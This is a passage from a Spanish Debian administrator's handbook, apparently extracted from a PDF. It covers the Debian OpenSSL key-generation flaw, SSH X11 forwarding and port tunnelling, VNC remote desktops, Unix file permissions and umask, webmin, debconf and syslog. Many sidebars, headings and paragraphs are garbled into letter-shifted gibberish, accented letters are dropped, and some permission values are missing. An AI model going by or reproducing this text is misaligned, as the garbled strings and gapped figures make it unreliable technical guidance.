-B CJCMJPUFDB 0QFO44- DPNP GVF QSPWJTUB JOJDJBMNFOUF FO %FCJBO &UDI UFOB


VO TFSJP QSPCMFNB FO TV HFOFSBEPS EF ONFSPT BMFBUPSJPT 3/( k3BOEPN
/VNCFS (FOFSBUPS{
 &M EFTBSSPMMBEPS %FCJBO IBCB SFBMJ[BEP VOB NPEJGJ
DBDJO QBSB RVF MPT QSPHSBNBT RVF MB VUJMJ[BO OP HFOFSBSBO BEWFSUFODJBT NJFO
USBT FSBO PCKFUJWP EF BOMJTJT QPS IFSSBNJFOUBT EF QSVFCBT EF NFNPSJB DPNP
valgrind %FTBGPSUVOBEBNFOUF FTUF DBNCJP UBNCJO TJHOJGJDBCB RVF FM 3/(
TMP VUJMJ[BCB VOB GVFOUF EF FOUSPQB RVF DPSSFTQPOEB BM ONFSP EF QSPDFTP
1*%
 QFSP MPT  WBMPSFT QPTJCMFT EFM NJTNP OP PGSFDFO TVGJDJFOUF BMFBUP
SJFEBE
http://www.debian.org/security/2008/dsa-1571

&TQFDGJDBNFOUF DVBOEP VUJMJ[BCB 0QFO44- QBSB HFOFSBS VOB MMBWF TJFNQSF


QSPEVDB VOB MMBWF EFOUSP EF VO DPOKVOUP DPOPDJEP EF DJFOUPT EF NJMFT EF
MMBWFT  NVMUJQMJDBEP QPS VOB QFRVFB DBOUJEBE EF MPOHJUVEFT EF MMBWFT

&TUP BGFDUBCB MMBWFT 44) MMBWFT 44- Z DFSUJGJDBEPT 9 VUJMJ[BEPT QPS OV
NFSPTBT BQMJDBDJPOFT DPNP 0QFO71/ 6O kDSBDLFS{ TMP EFCB JOUFOUBS UPEBT
FTUBT MMBWFT QBSB PCUFOFS VO BDDFTP OP BVUPSJ[BEP 1BSB SFEVDJS FM JNQBDUP EFM
QSPCMFNB TF NPEJGJD FM EFNPOJP 44) QBSB SFDIB[BS MBT MMBWFT QSPCMFNUJDBT
JODMVJEBT FO MPT QBRVFUFT PQFOTTICMBDLMJTU Z PQFOTTICMBDLMJTUFYUSB "EFNT
FM QSPHSBNB ssh-vulnkey QFSNJUF JEFOUJGJDBS QPTJCMFT MMBWFT DPNQSPNFUJEBT
FO FM TJTUFNB
6O BOMJTJT NT EFUBMMBEP EF FTUF QSPCMFNB SFTBMU RVF FSB FM SFTVMUBEP EF
NMUJQMFT QSPCMFNBT QFRVFPT
UBOUP FO FM QSPZFDUP 0QFO44- BT DPNP UBN
CJO DPO FM FODBSHBEP EFM QBRVFUF %FCJBO 6OB CJCMJPUFDB UBO VUJMJ[BEB DPNP
0QFO44- OP EFCFSB TJO NPEJGJDBDJPOFT HFOFSBS BEWFSUFODJBT DVBOEP FT
QSPCBEB DPO valgrind -P RVF FT NT FM DEJHP FTQFDJBMNFOUF MBT QBSUFT UBO
TFOTJCMFT DPNP FM 3/(
EFCFSBO UFOFS NFKPSFT DPNFOUBSJPT QBSB FWJUBS FT
UPT FSSPSFT &M FODBSHBEP %FCJBO QPS TV QBSUF EFTFBOEP WBMJEBS TVT NPEJGJDB
DJPOFT DPO MPT EFTBSSPMMBEPSFT EF 0QFO44- TJNQMFNFOUF FYQMJD TVT NPEJGJ
DBDJPOFT TJO QSPWFFS FM QBSDIF DPSSFTQPOEJFOUF QBSB SFWJTBS 5BNQPDP TF JEFO
UJGJD B T NJTNP DMBSBNFOUF DPNP FM FODBSHBEP EFM QBRVFUF %FCJBO DPSSF
TQPOEJFOUF 'JOBMNFOUF FO TVT FMFDDJPOFT DPNP FODBSHBEP OP EPDVNFOU MPT
DBNCJPT BM DEJHP PSJHJOBM DMBSBNFOUF UPEBT MBT NPEJGJDBDJPOFT GVFSPO BMNB
DFOBEBT FO VO SFQPTJUPSJP 4VCWFSTJPO QFSP UFSNJOBSPO BHSVQBEBT FO TMP VO
QBSDIF EVSBOUF MB DSFBDJO EFM QBRVFUF GVFOUF
#BKP UBMFT DPOEJDJPOFT FT EJGDJM FODPOUSBS MBT NFEJEBT DPSSFDUJWBT QBSB FWJUBS
RVF PDVSSBO JODJEFOUFT TJNJMBS -B MFDDJO B BQSFOEFS BRV FT RVF DBEB EJ
WFSHFODJB RVF %FCJBO JOUSPEVDF BM TPXBSF EF PSJHFO EFCF FTUBS KVTUJGJDBEB
EPDVNFOUBEB FOWJBEB BM QSPZFDUP EF PSJHFO DVBOEP TFB QPTJCMF Z QVCMJDJUBEB
BNQMJBNFOUF &T EFTEF FTUB QFSTQFDUJWB RVF TF EFTBSSPMMBSPO FM OVFWP GPSNB
UP EF QBRVFUF GVFOUF k RVJMU
{
Z FM TJTUFNB EF TFHVJNJFOUP EF QBSDIFT
%FCJBO
http://patch-tracker.debian.org

$BQUVMP  4FSWJDJPT 6OJY



6UJMJ[BDJO BQMJDBDJPOFT 9 SFNPUBT


El protocolo SSH permite redirigir datos grficos (sesin X11 por el nombre del sistema grfico
ms utilizado en Unix); el servidor luego mantiene un canal dedicado para estos datos. Especficamente, el programa grfico ejecutado remotamente puede mostrarse en el servidor X.org de
la pantalla local y toda la sesin (datos ingresados y lo que sea mostrado) ser segura. De forma
predeterminada, esta funcionalidad est desactivada porque permite que aplicaciones remotas
interfieran con el sistema local. Puede activarla especificando 9'PSXBSEJOH ZFT en el archivo
de configuracin del servidor (/etc/ssh/sshd_config). Finalmente, el usuario tambin debe
solicitarlo agregando la opcin 9 al ejecutar ssh.

$SFBDJO EF UOFMFT DJGSBEPT DPO SFEJSFDDJO EF QVFSUPT


Las opciones 3 y - le permiten a ssh crear tneles cifrados entre dos equipos, redirigiendo
de forma segura un puerto TCP local (revise el recuadro TCP/UDP pgina 228) a un equipo
remoto o viceversa.
70$"#6-"3*0
5OFM

*OUFSOFU Z MB NBZPSB EF MBT SFEFT EF SFB MPDBM DPOFDUBEBT B FMMB GVODJPOBO


CBKP DPONVUBDJO EF QBRVFUFT Z OP CBKP DPONVUBDJO EF DJSDVJUPT MP RVF TJH
OJGJDB RVF VO QBRVFUF FOWJBEP EF VO FRVJQP B PUSP TFS EFUFOJEP FO WBSJPT
SPVUFST JOUFSNFEJPT QBSB FODPOUSBS TV SVUB BM EFTUJOP 5PEBWB QVFEF TJNV
MBS FM NPEP EF DPOFYJO FO FM RVF FM GMVKP FTU FODBQTVMBEP FO QBRVFUFT *1
OPSNBMFT &TUPT QBRVFUFT TJHVFO TV SVUB VTVBM QFSP TF SFDPOTUSVZF FM GMVKP TJO
DBNCJPT FO FM EFTUJOP " FTUP MF MMBNBNPT VO kUOFM{ FM BOMPHP B VO UOFM WJBM
FO FM RVF MPT WFIDVMPT DPOEVDFO EJSFDUBNFOUF EFTEF MB FOUSBEB B MB TBMJEB TJO
FODPOUSBTF DPO JOUFSTFDDJO BMHVOB B EJGFSFODJB EF VOB SVUB FO MB TVQFSGJDJF
RVF JOWPMVDSBSB JOUFSTFDDJPOFT Z DBNCJPT EF EJSFDDJO
1VFEF VUJMJ[BS FTUB PQPSUVOJEBE QBSB BHSFHBS DJGSBEP BM UOFM BT FM GMVKP EFM
NJTNP OP QVFEF TFS SFDPOPDJEP EFTEF FM FYUFSJPS QFSP BM TBMJS EFM UOFM TF
FODVFOUSB EFTDJGSBEP

ssh -L 8000:servidor:25 intermediario establece una sesin SSH con el equipo intermedi-

ario y escucha en el puerto local 8000 (revise la Figura9.2, Redireccin de un puerto local con
SSH pgina 199). Para cualquier conexin en este puerto, ssh iniciar una conexin desde el
equipo intermediario al puerto 25 de servidor y unir ambas conexiones.
ssh -R 8000:servidor:25 intermediario tambin establece una sesin SSH al equipo intermediario, pero es en este equipo que ssh escuchar en el puerto 8000 (revise la Figura9.3,

Redireccin de un puerto remoto con SSH pgina 199). Cualquier conexin establecida en este
puerto causar que ssh abra una conexin desde el equipo local al puerto 25 de servidor y unir
ambas conexiones.
En ambos casos, se realizan las conexiones en el puerto 25 del equipo servidor, que pasarn a
travs del tnel SSH establecido entre la mquina local y la mquina intermediario. En el primer
caso, la entrada al tnel es el puerto local 8000 y los datos se mueven hacia la mquina intermediario antes de dirigirse a servidor en la red pblica. En el segundo caso, la entrada y la salida



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

del tnel son invertidos; la entrada es en el puerto 8000 de la mquina intermediario, la salida es
en el equipo local y los datos son dirigidos a servidor. En la prctica, el servidor generalmente
est en la mquina local o el intermediario. De esa forma SSH asegura la conexin un extremo a
otro.

'JHVSB  3FEJSFDDJO EF VO QVFSUP MPDBM DPO 44)

'JHVSB 

3FEJSFDDJO EF VO QVFSUP SFNPUP DPO 44)

 6UJMJ[BDJO EF FTDSJUPSJPT HSGJDPT SFNPUPT


VNC (computacin en redes virtuales: Virtual Network Computing) permite el acceso remoto
a escritorios grficos.
Esta herramienta se utiliza ms que nada para asistencia tcnica; el administrador puede ver los
errores con los que se enfrenta el usuario y mostrarle el curso de accin correcto sin tener que
estar a su lado.

$BQUVMP  4FSWJDJPT 6OJY



Primero, el usuario debe autorizar compartir su sesin. Los entornos grficos de escritorio
GNOME y KDE incluyen vino y krfb, respectivamente, que proveen una interfaz grfica que permite compartir una sesin existente sobre VNC (ambos son identificados como Escritorio compartido tanto en la lista de aplicaciones de GNOME y el men de KDE). Para otros entornos grficos
de escritorio el programa x11vnc (en el paquete Debian del mismo nombre) cumple el mismo
propsito; puede ponerlo a disposicin del usuario con un cono explcito.
Cuando la sesin grfica est disponible a travs de VNC, el administrador debe conectarse a
ella con un cliente VNC. Para ello GNOME posee vinagre y remmina, mientras que KDE posee
krdc (en el men K Internet Cliente de Escritorio Remoto). Existen otros clientes VNC
para utilizar en una terminal como xvnc4viewer en el paquete Debian del mismo nombre. Una
vez conectado, el administrador puede ver lo que sucede, trabajar en el equipo remotamente y
mostrarle al usuario cmo proceder.
4&(63*%"%
7/$ TPCSF 44)

4J EFTFB DPOFDUBSTF DPO 7/$ Z OP EFTFB RVF TF FOWFO TVT EBUPT FO UFYUP
QMBOP B USBWT EF MB SFE FT QPTJCMF FODBQTVMBS MPT EBUPT FO VO UOFM 44) SFWJTF
MB 4FDDJO  k$SFBDJO EF UOFMFT DJGSBEPT DPO SFEJSFDDJO EF QVFSUPT{
QHJOB 
 4JNQMFNFOUF UJFOF RVF TBCFS RVF EF GPSNB QSFEFUFSNJOBEB 7/$
VUJMJ[B FM QVFSUP  QBSB MB QSJNFSB QBOUBMMB MMBNBEB kMPDBMIPTU{

QBSB MB TFHVOEB MMBNBEB kMPDBMIPTU{
FUD
-B PSEFO ssh -L localhost:5901:localhost:5900 -N -T equipo DSFB VO
UOFM FOUSF FM QVFSUP MPDBM  FO MB JOUFSGB[ EF kMPDBMIPTU{ Z FM QVFSUP 
EF FRVJQP -B QSJNFSB PDVSSFODJB EF kMPDBMIPTU{ SFTUSJOHF B 44) QBSB RVF TMP
FTDVDIF FO EJDIB JOUFSGB[ FO MB NRVJOB MPDBM &M TFHVOEP kMPDBMIPTU{ JOEJDB
RVF MB JOUFSGB[ FO MB NRVJOB SFNPUB RVF SFDJCJS FM USGJDP EF SFE RVF JOHSFTF
FO kMPDBMIPTU{ 1PS MP UBOUP vncviewer localhost:1 DPOFDUBS FM DMJFOUF
7/$ B MB QBOUBMMB SFNPUB BO DVBOEP JOEJRVF FM OPNCSF EF MB NRVJOB MPDBM
$VBOEP DJFSSF MB TFTJO 7/$ SFDVFSEF UBNCJO DFSSBS FM UOFM TBMJFOEP EF MB
TFTJO 44) DPSSFTQPOEJFOUF

70-7&3 " -04


$*.*&/504
(FTUPS EF QBOUBMMBT

gdb kdm lightdm Z xdm TPO HFTUPSFT EF QBOUBMMB 5PNBO FM DPOUSPM EF MB JOUFSGB[

HSGJDB QPDP EFTQVT EFM JOJDJP QBSB QSPWFFS BM VTVBSJP VOB QBOUBMMB EF JOJDJP EF
TFTJO 6OB WF[ RVF FM VTVBSJP JOJDJ TFTJO FKFDVUBO MPT QSPHSBNBT OFDFTBSJPT
QBSB JOJDJBS VOB TFTJO HSGJDB EF USBCBKP

VNC tambin funciona para usuarios mviles o ejecutivos de empresas que ocasionalmente
necesitan iniciar sesin desde sus casas para acceder a un escritorio remoto similar al que utilizan en la oficina. La configuracin de tal servicio es ms complicada: primero instale el paquete vnc4server, modifique la configuracin del gestor de pantalla para aceptar pedidos 9%.$1
2VFSZ (en gdm3 puede hacerlo agregando &OBCMFUSVF en la seccin xdmcp del archivo
/etc/gdm3/daemon.conf). Finalmente, inicie el servidor VNC con inetd para que se inicie una
sesin automticamente cuando el usuario intente hacerlo. Por ejemplo, puede agregar la siguiente lnea al archivo /etc/inetd.conf:
5950

stream

tcp

nowait

nobody.tty

/usr/bin/Xvnc Xvnc -inetd -query localhost -

once -geometry 1024x768 -depth 16 securitytypes=none



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Redireccionar las conexiones entrantes al gestor de pantallas soluciona el problema de la autenticacin ya que slo los usuarios con cuentas locales pasarn la pantalla de inicio de sesin de gdm
(o su equivalente kdm, xdm, etc.). Como esta operacin permite mltiples sesiones simultneamente sin problemas (siempre que el servidor sea suficientemente poderoso), incluso puede
ser utilizada para proveer escritorios completos para usuarios mviles (o sistemas de escritorios menos poderosos configurados como clientes ligeros). Los usuarios simplemente iniciarn
sesin en la pantalla del servidor con vncviewer servidor:50 ya que utiliza el puerto 5950.

 "ENJOJTUSBDJO EF QFSNJTPT


Linux es definitivamente un sistema multiusuario por lo que necesita proveer un sistema de
permisos para controlar el conjunto de operaciones autorizadas sobre archivos y directorios,
lo que incluye todos los recursos del sistema y los dispositivos (en un sistema Unix cualquier
dispositivo es representado por un archivo o un directorio). Este principio es comn a todos
los sistemas Unix pero siempre es til recordarlo, especialmente porque existen algunos usos
avanzados interesantes y relativamente desconocidos.
Cada archivo o directorio tiene permisos especficos para tres categoras de usuarios:
su dueo (representado con V por usuario);
su grupo dueo (representado con H por grupo), que incluye a todos los miembros del
grupo;
y los dems (representado con P por otros).
Puede combinar tres tipos de permisos:
lectura (representado por S por read: leer);
escritura (o modificacin, representado con X por write: escribir);
ejecucin (representado con Y por eXecute: ejecutar).
En el caso de un archivo, estos permisos se entienden fcilmente: la lectura permite acceder al
contenido (inclusive copiarlo), la escritura permite cambiarlo y la ejecucin permite ejecutarlo
(que slo funcionar si es un programa).
4&(63*%"%
&KFDVUBCMFT setuid Z setgid

%PT QFSNJTPT QBSUJDVMBSFT TPO SFMFWBOUFT QBSB BSDIJWPT FKFDVUBCMFT setuid Z


setgid SFQSFTFOUBEPT DPO MB MFUSB kT{
 4FQB RVF GSFDVFOUFNFOUF IBSFNPT
SFGFSFODJBT B kCJUT{ ZB RVF DBEB VOP EF FTUPT WBMPSFT CPPMFBOPT QVFEFO SFQ
SFTFOUBSTF DPO VO  P VO  &TUPT EPT QFSNJTPT MF QFSNJUFO B DVBMRVJFS VTVBSJP
FKFDVUBS FM QSPHSBNB DPO MPT QFSNJTPT EFM EVFP P EFM HSVQP SFTQFDUJWBNFOUF
&TUF NFDBOJTNP QSPWFF BDDFTP B GVODJPOBMJEBEFT RVF OFDFTJUBO NT QFSNJTPT
EF MPT RVF UFOESB OPSNBMNFOUF
%BEP RVF VO QSPHSBNB DVZP EVFP FT SPPU DPO setuid BDUJWBEP FKFDVUBS TJT
UFNUJDBNFOUF DPO MB JEFOUJEBE EFM TQFSVTVBSJP FT NVZ JNQPSUBOUF BTFHV
SBS RVF FT TFHVSP Z DPOGJBCMF %F IFDIP VO VTVBSJP RVF QVFEB DPNQSPNFUFSMP
QBSB FKFDVUBS PUSP QSPHSBNB EF TV FMFDDJO QPESB IBDFSTF QBTBS QPS FM VTVBSJP
SPPU Z PCUFOFS UPEPT MPT QFSNJTPT TPCSF FM TJTUFNB

$BQUVMP  4FSWJDJPT 6OJY



Los directorios se manejan diferente. El permiso de lectura provee acceso para consultar su lista
de elementos (archivos y directorios), el permiso de escritura permite crear o borrar archivos
y el permiso de ejecucin permite atravesarlo (especialmente para llegar a l con cd). Poder
atravesar un directorio sin leerlo permite acceder a los elementos que contenga siempre que
se conozca su nombre, pero no le permitir encontrarlos si no sabe que existen o conoce sus
nombres exactos.
4&(63*%"%
%JSFDUPSJPT setgid Z FM CJU
kTUJDLZ{ QFHBKPTP

&M CJU setgid UBNCJO GVODJPOB FO EJSFDUPSJPT $VBMRVJFS FMFNFOUP DSFBEP FO


UBMFT EJSFDUPSJPT TFSO BTJHOBEPT BVUPNUJDBNFOUF BM HSVQP EVFP EFM EJSFD
UPSJP QBESF FO MVHBS EF IFSFEBS FM HSVQP QSJODJQBM EF TV DSFBEPS DPNP FT VTVBM
&TUB DPOGJHVSBDJO FWJUB RVF FM VTVBSJP UFOHB RVF DBNCJBS TV HSVQP QSJODJQBM
DPO FM QSPHSBNB newgrp
DVBOEP USBCBKF FO VO SCPM EF BSDIJWPT DPNQBSUJEPT
FOUSF WBSJPT VTVBSJPT EFM NJTNP HSVQP EFEJDBEP
&M CJU kTUJDLZ{ SFQSFTFOUBEP QPS MB MFUSB kU{
FT VO QFSNJTP RVF TMP FT VUJM
FO EJSFDUPSJPT &T VUJMJ[BEP FTQFDJBMNFOUF FO EJSFDUPSJPT UFNQPSBMFT B MPT RVF
UPEPT UJFOFO QFSNJTPT EF FTDSJUVSB DPNP /tmp/
 SFTUSJOHF MB FMJNJOBDJO EF
BSDIJWPT QBSB RVF TMP QVFEB IBDFSMP FM EVFP EFM NJTNP P FM EVFP EFM EJSFD
UPSJP QBESF
 4JO FTUP DVBMRVJFS QPESB FMJNJOBS MPT BSDIJWPT EF PUSPT VTVBSJPT
FO /tmp/

Tres programas controlan los permisos asociados a un archivo:


chown usuario archivo cambia el dueo de un archivo;
chgrp group archivo modifica el grupo dueo;
chmod permisos archivo cambia los permisos del archivo.

Hay dos formas de representar permisos. Entre ellas, la representacin simblica es probablemente la ms sencilla de entender y recordar. Involucra las letras mencionadas anteriormente.
Puede definir permisos para cada categora de usuarios (V/H/P) definindolos explcitamente
(con , agregar permisos ( ) o eliminar () permisos. Por lo tanto, la frmula VSXY H SX PS
provee al dueo permisos de lectura, escritura y ejecucin, agrega permisos de lectura y escritura al grupo dueo y elimina el permiso de lectura para los otros usuarios. Los permisos que no
son modificados cuando se agreguen o eliminen permisos en estas frmulas se mantienen intactos. La letra B (por all, todos) incluye las tres categoras de usuarios, por lo que BSY otorga
los mismos permisos (lecutra y ejecucin, pero no escritura) a las tres categoras de usuario.
La representacin numrica (octal) asocia cada permiso con un valor: 4 para lectura, 2 para
escritura y 1 para ejecucin. Asociamos cada combinacin de permisos con la suma de dichos
valores. Se asigna cada valor a las diferentes categoras de usuarios unindolos en el orden usual
(dueo, grupo, otros).
Por ejemplo, chmod 754 archivo configurar los siguientes permisos: lectura, escritura y ejecucin para el dueo (ya que 7 = 4 + 2 + 1); lectura y ejecucin para el grupo (ya que 5 = 4 +1);
slo lectura para los otros usuarios.  significa ningn permiso; por lo tanto chmod 600 archivo
provee permisos de lectura y escritura al dueo y ningn permiso para todos los dems. La combinacin de permisos ms frecuente es  para archivos ejecutables y directorios y  para
archivos de datos.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Para representar permisos especiales, puede agregar un cuarto dgito antes que los dems segn
el mismo principio, donde los bits TFUVJE, TFUHJE y TUJDLZ son, respectivamente, 4, 2 y 1. chmod
4754 asociar el bit TFUVJE con los permisos descriptos anteriormente.
El uso de notacin octal slo permite definir todos los permisos en un archivo simultneamente;
no puede utilizarlo simplemente para agregar un nuevo permiso, como lectura al grupo dueo,
ya que debe tener en cuenta permisos existentes y calcular el nuevo valor numrico correspondiente.
46(&3&/$*"
0QFSBDJO SFDVSTJWB

" WFDFT EFCFNPT DBNCJBS MPT QFSNJTPT B VO SCPM EF BSDIJWPT DPNQMFUP 5PEPT
MPT QSPHSBNBT NFODJPOBEPT BDFQUBO MB PQDJO -R QBSB USBCBKBS SFDVSTJWBNFOUF
FO TVCEJSFDUPSJPT
-B EJTUJODJO FOUSF BSDIJWPT Z EJSFDUPSJPT B WFDFT DBVTB QSPCMFNBT DPO PQFSB
DJPOFT SFDVSTJWBT &T QPS FTP RVF TF JOUSPEVKP MB MFUSB k9{ FO MB SFQSFTFOUBDJO
TJNCMJDB EF QFSNJTPT 3FQSFTFOUB FM QFSNJTP EF FKFDVDJO TMP QBSB EJSFDUP
SJPT Z OP QBSB BSDIJWPT RVF OP UFOHBO FTUF QFSNJTP
 1PS MP UBOUP chmod R a+X directorio TMP BHSFHBS QFSNJTPT EF FKFDVDJO QBSB UPEBT MBT DBU
FHPSBT EF VTVBSJPT a
FO UPEPT MPT TVCEJSFDUPSJPT Z BRVFMMPT BSDIJWPT FO MPT
RVF BM NFOPT VOB EF MBT DBUFHPSBT EF VTVBSJP BO TJ TMP FT FM VTVBSJP EVFP

ZB QPTFB QFSNJTPT EF FKFDVDJO

46(&3&/$*"
.PEJGJDBDJO EF VTVBSJP Z
HSVQP

'SFDVFOUFNFOUF EFTFBS DBNCJBS FM HSVQP EF VO BSDIJWP BM NJTNP UJFNQP RVF


DBNCJB TV EVFP &M QSPHSBNB chown UJFOF VOB TJOUBYJT FTQFDJBM QBSB FTUP

:&/%0 .4 "--

$VBOEP VOB BQMJDBDJO DSFB VO BSDIJWP BTJHOB QFSNJTPT JOEJDBUJWPT TBCJFO


EP RVF FM TJTUFNB BVUPNUJDBNFOUF FMJNJOB BMHVOPT QFSNJTPT EBEPT QPS FM
QSPHSBNB umask &KFDVUB umask FO VOB DPOTPMB WFS VOB NTDBSB DPNP 0022
TUB FT TJNQMFNFOUF VOB SFQSFTFOUBDJO PDUBM EF MPT QFSNJTPT RVF TFSO FMJN
JOBEPT TJUFNUJDBNFOUF FO FTUF DBTP FM QFSNJTP EF FTDSJUVSB QBSB FM HSVQP Z
PUSPT VTVBSJPT


umask

chown usuario:grupo

4J QSPWFF VO OVFWP WBMPS PDUBM FM QSPHSBNB umask NPEJGJDBS MB NTDBSB 4J MP


VUJMJ[B FO VO TDSJQU EF JOJDJBMJ[BDJO EF DPOTPMB QPS FKFNQMP ~/.bash_profile

FGFDUJWBNFOUF DBNCJBS MB NTDBSB QSFEFUFSNJOBEB FO TVT TFTJPOFT EF USBCB


KP

 *OUFSGBDFT EF BENJOJTUSBDJO


Utilizar una interfaz grfica para administracin es interesante en varias circunstancias. Un
administrador no conoce, necesariamente, todos los detalles de la configuracin de todos los
servicios, y no siempre tendr tiempo de revisar la documentacin correspondiente. Una interfaz grfica para administracin puede, entonces, acelerar el despliegue de un nuevo servicio.
Tambin puede simplificar la instalacin de servicios que son difciles de configurar.
Estas interfaces son slo ayudas y no un fin en s mismo. En todos los casos el administrador
debe dominar su comportamiento para entender y evitar cualquier problema potencial.

$BQUVMP  4FSWJDJPT 6OJY



Debido a que ninguna interfaz es perfecta, puede tentarse de probar varias soluciones. Debe
evitar esto tanto como sea posible ya que, a veces, el funcionamiento de diferentes herramientas
son incompatibles entre s. An si todas intentan ser muy flexibles e intentan adoptar el archivo
de configuracin como nica referencia, no siempre podrn integrar cambios externos.

 "ENJOJTUSBDJO FO VOB JOUFSGB[ XFC webmin


Esta es, sin lugar a dudas, una de las interfaces de administracin ms existosas. Es un sistema
modular administrador a travs de un servidor web, que incluye un amplio rango de reas y
herramientas. Lo que es ms, est internacionalizada y est diponible en muchos idiomas.
Lamentablemente, webmin ya no es parte de Debian. Su encargado en Debian Jaldhar H. Vyas
elimin los paquetes que cre porque ya no tena el tiempo necesario para mantenerlos en
un nivel de calidad aceptable. Nadie asumi ese trabajo oficialmente, por lo que Wheezy no tiene
el paquete webmin.
Existe, sin embargo, un paquete no oficial distribuido en el sitio web XFCNJODPN. A diferencia
de los paquetes Debian originales, este paquete es monoltico; de forma predeterminada se instalan y activan todos sus mdulos de configuracin, an si el servicio correspondiente no est
instalado en el equipo.
4&(63*%"%
.PEJGJDBDJO EF MB
DPOUSBTFB EF SPPU

%VSBOUF MB QSJNFSB TFTJO EFCF JEFOUJGJDBSTF DPO FM VTVBSJP SPPU Z TV DPO


USBTFB VTVBM &T SFDPNFOEBCMF DBNCJBS MB DPOUSBTFB RVF VUJMJ[B webmin UBO
QSPOUP DPNP QVFEB QBSB RVF TJ FT DPNQSPNFUJEP OP TF JOWPMVDSF MB DPO
USBTFB EF SPPU EFM TFSWJEPS BO TJ FTUP QSPWFF QFSNJTPT BENJOJTUSBUJWPT JN
QPSUBOUFT FO FM FRVJQP
a$VJEBEP %BEP RVF webmin QPTFF UBOUB GVODJPOBMJEBE VO VTVBSJP NBMJDJPTP
RVF BDDFEB B M QVFEF DPNQSPNFUFS MB TFHVSJEBE EF UPEP FM TJTUFNB &O HFO
FSBM OP TF SFDPNJFOEBO FTUF UJQP EF JOUFSGBDFT QBSB TJTUFNBT JNQPSUBOUFT DPO
GVFSUFT MJNJUBDJPOFT EF TFHVSJEBE GJSFXBMM TFSWJEPSFT TFOTJCMFT FUD


Webmin se utiliza a travs de una interfaz web, pero no necesita instalar Apache. Esencialmente,
este software tiene su propio miniservidor web integrado. De forma predeterminada, este servidor escucha en el puerto 10000 y acepta conexiones HTTP seguras.
Los mdulos incluidos cubren una amplia variedad de servicios, entre ellos:
todos los servicios base: creacin de usuarios y grupos, administracin de archivos
crontab, scripts de inicio, visualizacin de registros, etc.
bind: configuracin del servidor DNS (servicio de nombres);
postfix: configuracin del servidor SMTP (correo electrnico);
inetd: configuracin del superservidor inetd;
quota: administracin de cuotas de usuario;
dhcpd: configuracin del servidor DHCP;



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

prpftpd: configuracin del servidor FTP;


samba: configuracin del servidor de archivos Samba;
software: instalacin o eliminacin de software desde paquetes Debian y actualizaciones
de sistema.
La interfaz de administracin est disponible a travs de un navegador en IQTMPDBMIPTU
. Cuidado! No podr utilizar directamente todos los mdulos. Deber configurar algunos
especificando la ubicacin de los archivos de configuracin correspondiente y algunos archivos
ejecutables (programas). Frecuentemente el sistema le pedir esa informacin cuando no pueda
activar un mdulo que solicite.
"-5&3/"5*7"
$FOUSP EF DPOUSPM EF
(/0.& k$POUSPM $FOUFS{

&M QSPZFDUP (/0.& UBNCJO QSPWFF WBSJBT JOUFSGBDFT EF BENJOJTUSBDJO B


MBT RVF HFOFSBMNFOUF QVFEF BDDFEFS B USBWT EFM FMFNFOUP k1SFGFSFODJBT{ FO
FM NFO EFM VTVBSJP FO MB FTRVJOB TVQFSJPS EFSFDIB gnome-control-center
FT FM QSPHSBNB QSJODJQBM RVF MBT VOJGJDB QFSP NVDIBT EF MBT IFSSBNJFOUBT EF
DPOGJHVSBDJO EFM TJTUFNB FO HFOFSBM TPO QSPWJTUBT FGFDUJWBNFOUF QPS PUSPT QB
RVFUFT BDDPVOUTTFSWJDF TZTUFNDPOGJHQSJOUFS FUD
 &TUBT BQMJDBDJPOFT GDJMFT
EF VUJMJ[BS TMP DVCSFO VOB DBOUJEBE MJNJUBEB EF TFSWJDJPT CTJDPT HFTUJO EF
VTVBSJPT DPOGJHVSBDJO EF GFDIB Z IPSB DPOGJHVSBDJO EF SFE DPOGJHVSBDJO
EF JNQSFTJO FUD

 $POGJHVSBDJO EF QBRVFUFT debconf


Despus de realizar unas pocas preguntas durante la instalacin a travs de Debconf, muchos
paquetes son configurados automticamente. Puede reconfigurar estos paquetes ejecutando
dpkg-reconfigure paquete.
En la mayora de los casos, estas configuraciones son muy simples; slo modifican unas pocas
variables importantes en el archivo de configuracin. Generalmente se agrupan estas variables
entre dos lneas de demarcacin para que la reconfiguracin del paquete slo afecte el rea
entre ellas. En otros casos, la reconfiguracin no realizar cambios si el script detecta una modificacin manual del archivo de configuracin para preservar estas intervenciones humanas (debido a que el script no puede asegurar que sus propias modificaciones no afectarn la configuracin existente).
/03."5*7" %&#*"/
1SFTFSWBDJO EF DBNCJPT

-B /PSNBUJWB %FCJBO FTUJQVMB FYQSFTBNFOUF RVF TF EFCF IBDFS UPEP QBSB


QSFTFSWBS MPT DBNCJPT NBOVBMFT FO MPT BSDIJWPT EF DPOGJHVSBDJO QPS MP RVF
NT Z NT TDSJQUT UPNBO QSFDBVDJPOFT BM FEJUBS BSDIJWPT EF DPOGJHVSBDJO &M
QSJODJQJP HFOFSBM FT TJNQMF FM TDSJQU TMP SFBMJ[BS DBNCJPT TJ DPOPDF FM FTUBEP
EFM BSDIJWP EF DPOGJHVSBDJO MP RVF DPOUSPMB DPNQBSBOEP MB TVNB EF WFSJGJ
DBDJO EFM BSDIJWP DPO MB EFM MUJNP BSDIJWP HFOFSBEP BVUPNUJDBNFOUF 4J TPO
JHVBMFT FM TDSJQU FTU BVUPSJ[BEP B SFBMJ[BS DBNCJPT FO FM BSDIJWP EF DPOGJHV
SBDJO %F MP DPOUSBSJP EFUFSNJOB RVF FM BSDIJWP GVF NPEJGJDBEP Z QSFHVOUB
QPS MB BDDJO B UPNBS JOTUBMBS FM OVFWP BSDIJWP HVBSEBS FM BSDIJWP FYJTUFOUF
P JOUFOUBS JOUFHSBS MPT OVFWPT DBNCJPT FO FM BSDIJWP BDUVBM
 &TUF QSJODJQJP EF

$BQUVMP  4FSWJDJPT 6OJY



QSFDBVDJO FT EFTEF IBDF UJFNQP FYDMVTJWP EF %FCJBO QFSP PUSBT EJTUSJCV


DJPOFT HSBEVBMNFOUF DPNFO[BSPO B BDFQUBSMP
1VFEF VUJMJ[BS FM QSPHSBNB ucf FO FM QBRVFUF %FCJBO EFM NJTNP OPNCSF
QBSB
JNQMFNFOUBS FTUF DPNQPSUBNJFOUP

 syslog &WFOUPT EF TJTUFNB


 1SJODJQJP Z NFDBOJTNP
El demonio rsyslogd es responsable de recolectar los mensajes de servicio que provienen de
aplicaciones y el ncleo para luego distribuirlos en archivos de registros (usualmente almacenados en el directorio /var/log/). Obedece a su archivo de configuracin: /etc/rsyslog.conf.
